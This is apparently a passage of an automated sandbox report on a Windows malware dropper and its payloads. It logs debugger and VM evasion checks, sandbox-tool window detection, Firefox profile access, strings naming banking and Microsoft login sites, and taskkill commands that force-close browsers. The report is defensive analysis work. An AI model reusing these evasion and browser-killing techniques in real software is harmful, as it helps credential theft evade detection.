Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe

Code function: 9_2_61E354D1 sqlite3_os_init,GetSystemInfo,

9_2_61E354D1

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\doomed\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\entries\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000003.00000002.2166623346.00000000008A3000.00000040.00000001.01000000.00000007.sdmp, c9ac8940e6.exe, c9ac8940e6.exe, 00000008.00000002.2977865082.0000000000BC1000.00000040.00000001.01000000.0000000A.sdmp, 194fcc03d1.exe, 194fcc03d1.exe, 00000009.00000002.3608498771.0000000001141000.00000040.00000001.01000000.0000000B.sdmp, c9ac8940e6.exe, 0000000A.00000002.3803295977.0000000006256000.00000040.00000800.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000002.3748769922.0000000000BC1000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: c9ac8940e6.exe, 0000000A.00000002.3798839842.0000000005D5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: c9ac8940e6.exe, 00000008.00000003.2977149973.00000000010B8000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 00000008.00000002.2978638147.000000000108A000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 00000008.00000002.2978638147.00000000010B8000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 00000008.00000003.2977149973.000000000108A000.00000004.00000020.00020000.00000000.sdmp, 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp, 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A19000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000002.3766637179.00000000015F4000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3478494612.00000000015F1000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3746432077.00000000015F3000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000002.3764496783.00000000015C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: c9ac8940e6.exe, 0000000A.00000003.3746322929.000000000166F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: c9ac8940e6.exe, 0000000A.00000002.3798839842.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.00000000019CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: c9ac8940e6.exe, 0000000A.00000003.3746322929.000000000166F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}CPUG
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: firefox.exe, 00000019.00000002.3304597810.000001E15FA15000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllG
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2108937174.0000000000623000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2152896354.00000000008A3000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2166623346.00000000008A3000.00000040.00000001.01000000.00000007.sdmp, c9ac8940e6.exe, 00000008.00000002.2977865082.0000000000BC1000.00000040.00000001.01000000.0000000A.sdmp, 194fcc03d1.exe, 00000009.00000002.3608498771.0000000001141000.00000040.00000001.01000000.0000000B.sdmp, c9ac8940e6.exe, 0000000A.00000002.3803295977.0000000006256000.00000040.00000800.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000002.3748769922.0000000000BC1000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: c9ac8940e6.exe, 0000000A.00000003.3199651811.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Windows\SysWOW64\taskkill.exe

System information queried: CodeIntegrityInformation

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04EB05F0 Start: 04EB0643 End: 04EB0609

0_2_04EB05F0

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04EB0C9A rdtsc

0_2_04EB0C9A

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe

Code function: 9_2_6D2F5FF0 IsDebuggerPresent,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

9_2_6D2F5FF0

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe

Code function: 9_2_6D2F75B0 LoadLibraryW,GetProcAddress,FreeLibrary,

9_2_6D2F75B0

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61EAF900 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,	9_2_61EAF900
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61EAF8FC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,	9_2_61EAF8FC
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2CB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_6D2CB66C
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2CB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_6D2CB1F7

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 194fcc03d1.exe PID: 3172, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe "C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe "C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe "C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe "C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe "C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe

Source: 6d2b6a8d0b.exe, 0000000B.00000002.3160258882.0000000000412000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: c9ac8940e6.exe, c9ac8940e6.exe, 00000008.00000002.2977865082.0000000000BC1000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Program Manager
Source: firefox.exe, 00000019.00000002.3298058409.0000000B43D8B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: skotes.exe, skotes.exe, 00000003.00000002.2166623346.00000000008A3000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: rProgram Manager

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe

Code function: 9_2_6D2CB341 cpuid

9_2_6D2CB341

Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
